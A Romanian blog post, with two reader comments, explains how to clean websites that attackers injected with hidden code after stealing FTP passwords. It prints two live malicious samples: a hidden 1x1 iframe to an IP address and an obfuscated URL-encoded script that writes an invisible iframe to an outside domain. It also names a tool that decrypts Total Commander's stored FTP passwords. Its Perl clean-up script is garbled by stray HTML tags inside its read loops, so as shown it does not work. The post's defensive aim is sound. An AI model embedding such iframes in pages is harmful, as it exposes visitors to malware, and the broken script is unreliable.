Administrare server open source

Platforma de hosting cu software liber, gratuit, open source.

MPack Hacker Tool, la fel cum era SuperNova in urma cu vreo doi ani, a ajuns un trend in materie de hack datorita simplitatii in utilizare pe de-o parte si a complexitatii scazute datorita careia si un individ cu 8 clase si un IQ sub 50 poate deveni peste noapte un hacker recunoscut de mass media.

Nu voi intra in detalii legate de modul in care functioneaza MPack Hacker Tool sau alte scule asemanatoare. Au facut-o deja cei de la PandaLabs. Voi posta in schimb metoda care o folosesc pentru a scapa de efectele neplacute care o are aceasta tehnica.

Inainte de toate, trebuie sa ne asiguram ca datele sensibile nu sunt facute publice. O metoda prin care unii oameni isi expun iresponsabil datele sensibile este partajarea partitiei C:\ in retele de file sharing cum ar fi HUB-urile DC de unde persoanele rau intentionate citesc fisierele care pastreaza parole. Un caz concret ar fi preluarea fisierului wcx_ftp.ini folosit de Total Commander pentru pastrarea parolelor, parole care pot fi decriptate foarte usor cu ajutorul aplicatiei UtilDecrypt.

Daca totusi se intampla ca un hacker sa puna mana pe parolele folosite pe conturile FTP e posibil, dupa cum se intampla in majoritatea cazurilor, ca acesta sa injecteze un iframe sau un cod JavaScript in fiecre pagina cu extensia .html sau .php gasita pe server, cod care in functie de situatie poate descarca o aplicatie malefica sau poate redirecta vizitatorul pe un alt site. Daca s-a ajuns deja in situatia in care paginile site-ului sunt infectate, va trebui sa cautam in sursa paginii codul inserat si sa il eliminam din fiecare pagina in care apare. Codul este de obicei de forma urmatoare:

<iframe src="http://67.152.195.227/" width=1 height=1 style="visibility: hidden;"></iframe>

Sau, daca e un cod JavaScript, ar putea arata asa:

<!-- o65 --><script Language='Javascript'>
<!--
document.write(unescape('%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%57%49%44%54%48%3A%20%30%25%3B%20%48%45%49%47%48%54%3A%20%30%70%78%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%79%66%75%63%6B%69%6E%67%2D%70%75%73%73%79%2E%63%6F%6D%2F%74%79%72%65%6B%2F%3F%74%3D%35%22%20%66%72%61%6D%65%42%6F%72%64%65%72%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%20%0A%61%6C%6C%6F%77%54%72%61%6E%73%70%61%72%65%6E%63%79%3E%3C%2F%49%46%52%41%4D%45%3E'));
//-->
</script><!-- c65 -->

Odata identificat codul poate fi eliminat din paginile in cauza. Totusi, in cazul in care sunt foarte multe pagini de dezinfectat, ar fi mai simplu sa folosim un script. Pentru utilizarea interna am creat un script pentru dezinfectare care il postez mai jos:

#!/usr/bin/perl
# File: clean.pl
# Contact: [email protected]
 
use strict;
use Getopt::Long;
use File::Find;
 
my $path;
my $file;
 
&GetOptions( "path=s" => \$path,
             "code=s" => \$file );
 
&usage if( !(-d $path) || !(-e $file) );
 
my $code = &GetCode($file);
 
find( sub {
          next if -d;
          next if( $_ !~ /\.(php|html|htm)/i );
          &clean( $_ );
      }, $path);
 
exit 0;
 
sub GetCode {
    my $file = shift;
    my $ret;
    open(FILE,$file) or die('Nu am putut citi fisierul');
    $ret .= $_ while( <file> );
    close(FILE);
    chomp($ret);
    $ret = quotemeta($ret);
    return $ret;
}
 
sub usage {
    print "Utilizare: $0 -path /path/to/folder -code file.txt\n";
    exit 1;
}
 
sub clean {
    my $file = shift;
    my $content;
 
    if( !open(FILE,$file) ) {
        print "Nu pot citi fisierul $file!\n";
    } else {
        $content .= $_ while( </file><file> );
        close(FILE);
        if( $content =~ /$code/m ) {
            print "Am gasit codul in $file ";
            $content =~ s/$code//m;
            if( !open(FILE,">$file") ) {
                print "dar nu il am drept de scriere.\n";
            } else {
                print FILE $content;
                close(FILE);
                print "si l-am curatat\n";
            }
        }
    }
}
</file>

Scriptul nu este testat decat pe putine coduri, dar pana acum a functionat de cate ori l-am folosit. Pentru a-l folosi salvati codul de mai sus intr-un fisier cu numele clean.pl, oferiti drept de executie (chmod 755 clean.pl), salvati codul care trebuie eliminat intr-un fisier text (ex. file.txt) si apoi rulati ca root comanda:

[root@server ~]# ./clean.pl -path /home/utilizator/public_html -code file.txt

Codul e mic deci nu ar trebui sa stea mai mult de cateva secunde la un site cu ~1000 de fisiere.

Linux

2 Responses so far.

  1. Waddu says:

    Salut am acest un astfel de cod inserat in toate paginiile , site’ului http://www.mamicamoderna.ro, varianta cu javascript , i idee daca scriptul tau va functiona si ptr joomla?

  2. Sergiu Tot says:

    Salut,

    Verifica codul JavaScript si vezi daca e identic pe toate paginile. Daca e identic, trebuie sa functioneze. Daca nu, o poti face doar manual.